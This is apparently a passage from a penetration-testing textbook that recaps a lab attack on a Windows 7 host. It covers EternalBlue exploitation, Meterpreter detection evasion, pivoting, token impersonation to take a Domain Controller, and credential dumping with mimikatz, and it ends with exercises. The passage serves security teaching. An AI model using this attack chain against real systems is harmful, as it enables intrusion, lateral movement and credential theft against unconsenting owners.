Revisiting the case study

We were given an IP address of 192.168.188.129 in order to test against known vulnerabilities. We followed a systematic approach, as follows:

1. We created a new workspace using the workspace –a command for our test.
2. We switched to the workspace using the workspace [workspace-name] command.
3. We initialized a no ping Nmap scan against the target and found numerous open ports.
4. The Nmap scan suggested that, on port 445 , an SMB service could be running on Windows 7-Windows 10.
5. We initiated another Nmap scan, but this time, it was meant for only port 445. We did this using the smb-os-discovery script.
6. We found that the results suggested that the operating system that's running was Windows 7 SP1 Ultimate edition.
7. We knew that Windows 7/Windows Server 2008 are highly vulnerable against CVE-2017-0143, that is, the EternalBlue exploit.
8. We initiated another Nmap scan, this time to confirm the presence of the vulnerability. We did this using the smb-vuln-ms17-010 script and found that the target was vulnerable.
9. We reconfirmed the presence of this vulnerability using the auxiliary/scanner/smb/smb_ms17_010 Metasploit module, which also confirmed the presence of the vulnerability.
10. We used the EternalBlue exploit module against the target and gained a system shell using a reverse TCP payload.
11. We upgraded our shell to Meterpreter using the sessions –u command:
    

    Figure 1.58 – Gaining initial access to the Windows 7 machine

12. Next, we migrated from a PowerShell process to a system process to evade suspicious activity detection.
13. We enumerated domain details and Domain Controller details using the enum_domain module.
14. We found that the Domain Controller was on a separate network.
15. We ran the arp command and found that the target range of the Domain Controller was accessible to the compromised host.
16. We added a route to the target network range using the autoroute module.
17. On the initially compromised host, we used the ps command and found that only a few processes were running with the domain administrator privileges.
18. We loaded the incognito plugin on the Meterpreter shell and listed all the available tokens using the list_tokens command.
19. We found that the administrator token could be used and we impersonated it using the impersonate_token command.
20. Next, we put the session into the background using the background command and loaded the current_user_psexec module in Metasploit.
21. We ran the module with SESSION as the one on the initially compromised host and set the Domain Controller as the target RHOST.
22. We made sure that the payload was a bind TCP payload as the Domain Controller may not initiate a connection to us directly.
23. We exploited the Domain Controller with SYSTEM-level privileges and gained Meterpreter access to it:
    

    Figure 1.59 – Gaining access to the Domain Controller using a Windows 7 machine

24. Next, we used the smart_hashdump module to dump all the hashes and loaded the mimikatz and kiwi plugins on the Meterpreter shell.
25. We ran kerberos and the creds_all command from mimikatz and kiwi to find clear-text credentials of the user Apex on the Domain Controller machine.

To get the most out of the knowledge you've gained from this chapter, you should perform the following exercises:

• Refer to the PTES standards and deep dive into all the phases of a business-oriented penetration test.
• Try gaining access to the Domain Controller using the EternalBlue/EternalRomance exploits2.
• Try at least five post-exploitation modules other than the ones covered in this chapter.
• Try persistence on the compromised machines with and without an antivirus. Take note of the differences.